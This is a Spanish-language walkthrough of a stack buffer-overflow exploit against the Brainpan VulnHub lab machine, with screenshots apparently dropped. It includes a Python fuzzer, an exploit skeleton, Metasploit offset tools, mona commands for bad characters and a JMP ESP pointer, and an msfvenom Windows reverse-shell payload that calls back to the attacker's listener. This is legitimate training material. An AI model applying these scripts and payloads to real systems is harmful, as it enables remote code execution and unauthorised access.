Para explotar un BoF, vamos a estar utilizando la máquina brainpan de la plataforma
vulnhub:
https://www.vulnhub.com/entry/brainpan-1,51/
Hacemos el escaneo con nmap:
Accedemos al contenido del puerto 10000 ya que vemos que corre algo por HTTP:
Realizamos fuzzing web y encontramos el directorio /bin:
Vamos a ejecutar este binario dentro de una máquina windows para analizarlo mejor:
Y vemos que lo que hace es levantar un servicio por el puerto 9999 (puerto que ya
estaba abierto en la máquina objetivo). Para ello lo compartimos con una máquina
windows 7 para ejecutarlo desde ahí:
Y lo ejecutamos, donde podemos confirmar cómo se levanta un servicio por el puerto
9999:
El siguiente paso será instalar el inmunity debugger en la máquina windows para
monitorear el programa, ya que el objetivo es ejecutar el binario para identificar si dispone
de alguna vulnerabilidad que permita lanzar un shellcode contra nuestro verdadero target:
Una vez ejecutado el programa y habiéndolo cargado anteriormente, lanzamos un
escaneo de nmap contra la máquina windows y vemos que inmunnity debugger lo tiene
ejecutado por el mismo puerto:
El siguiente paso será establecer un directorio de trabajo donde vamos a trabajar con el
inmunity debugger, por lo que hay que ejecutar el siguiente comando:
!mona config -set workingfolder C:\Users\mario\Desktop\BOF
Y también debemos configurar el mona, lo cual será el script que nos permita aplicar
filtros y realizar comprobaciones más adelante, por lo que debemos dirigirnos al siguiente
repositorio de github:
Nos descargamos el script de mona:
Y lo pegamos dentro de la carpeta de PyCommands del inmunity debugger:
El siguiente paso será utilizar un script de python para realizar el fuzzing para ir probando
en qué punto se crashea el programa:
#!/usr/bin/env python3
import socket, time, sys
ip = "192.168.0.39"
port = 9999
timeout = 1
prefix = ""
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)
Lo ejecutamos y vemos que el programa crashea a los 600 bytes:
Una vez ejecutado vemos que el EIP marca 414141, lo cual es lo que debe ocurrir:
OBTENER EL OFFSET
Una vez obtenido el punto exacto donde crashea el programa, vamos a necesitar el
offset; y para ello vamos a enviar un número de esa data algo mayor, por lo que por
ejemplo vamos a sumar +400 bytes.
Para este punto, vamos a necesitar otro script de python, que será el siguiente:
import socket
ip = "MACHINE_IP"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Y ahora en nuestra terminal vamos a ejecutar un módulo de metasploit llamado
pattern_create.rb donde insertaremos los 1000 bytes:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
Y ahora esta data la vamos a pegar dentro de la variable Payload del script de python
mostrado anteriormente:
Ahora nos dirigimos al Immunity Debugger y ejecutamos el siguiente comando de mona:
!mona findmsp -distance 600
Ejecutamos este exploit:
Y en el inmunnity debugger nos debería de salir otro número en el EIP:
Una vez obtenido el EIP, ya podemos obtener el offset ejecutando este comando:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q
72413172
Lo añadimos a nuestro exploit, además de añadir BBBB en la variable retn:
Lanzamos nuevamente el exploit:
Y deberíamos de tener este resultado en el EIP:
BAD CHARS
El siguiente paso será obtener los bad chars, lo cual consiste en que para ciertos
servicios existen algunos caracteres que no se aceptan, provocando una ejecución
errónea cuando generamos la shellcode. Estos caracteres se denomina bad character y
debemos de eliminarlos de nuestro exploit.
Para testearlo, vamos a instalar la librería badchars de python:
Y con este comando generamos las badchars totales:
Y añadimos esto dentro de nuesto script de python en la variable payload:
Y ahora vamos ejecutar el siguiente comando en el Immunity !mona bytearray -b "\x00"
para que tenga un archivo con el que comparar el de la aplicación, y si hay algún bad
char nos lo llegaría a mostrar:
Y vemos que se nos guarda este reporte en el archivo llamado bytearray (gracias a que
al principio del todo hemos establecido el entorno de trabajo):
Reiniciamos el binario en el inmmunity debugger:
Lanzamos nuevamente el exploit y nos fijamos en el número ESP:
Una vez obtenido el número de ESP, ejecutamos el siguiente comando para comprobar la
existencia de bad characters:
!mona compare -f C:\Users\mario\Desktop\BOF\bytearray.bin -a 005FF910
Y se nos debería abrir esta ventana:
Y no tenemos ningún bad char (a excepción del \x00 que ese siempre es bad char):
Si hubiera algún bad char, habría que quitarlo del exploit:
POINTER
Ahora tenemos que darle un punto de salto donde ejecutar, con este comando
estaríamos buscando las instrucciones de "jmp esp". Por lo que ejecutamos el siguiente
comando, con los badchars que nos haya aparecido anteriormente (en nuestro caso
cómo mínimo es el x00 ya que este número siempre es un bad char):
!mona jmp -r esp -cpb "\x00"
Y se nos muestra el pointer, el cual es 0x311712f3:
Ahora volvemos a ejecutar el programa haciendo clic en el siguiente botón, donde se nos
debería abrir un apartado para insertar datos:
Aquí pondremos el pointer obtenido anteriormente:
Damos a OK y nos fijamos en el siguiente campo:
Lo seleccionamos y hacemos clic en F2, donde a continuación le daremos al play:
GENERAR SHELLCODE
Ahora ya lo tenemos todo preparado para generar el shellcode, por lo que usaremos
msfvenom de la siguiente forma:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.32 LPORT=4444
EXITFUNC=thread -b "\x00" -f c
Pegamos este resultado en la variable payload del exploit.py:
Y cambiamos las siguientes variables, donde la variable retn es el número del jmp que
vimos anteriormente pero al revés:
retn= "\xf3\x12\x17\x31"
padding = "\x90" * 16
Ponemos la IP real del objetivo (ya no estamos testeando con el inmunity debugger, sino
que atacaremos al target real):
Lo ejecutamos:
Y mientrar estamos escuchando con netcat, habremos recibido la reverse shell gracias al
shellcode generado anteriormente: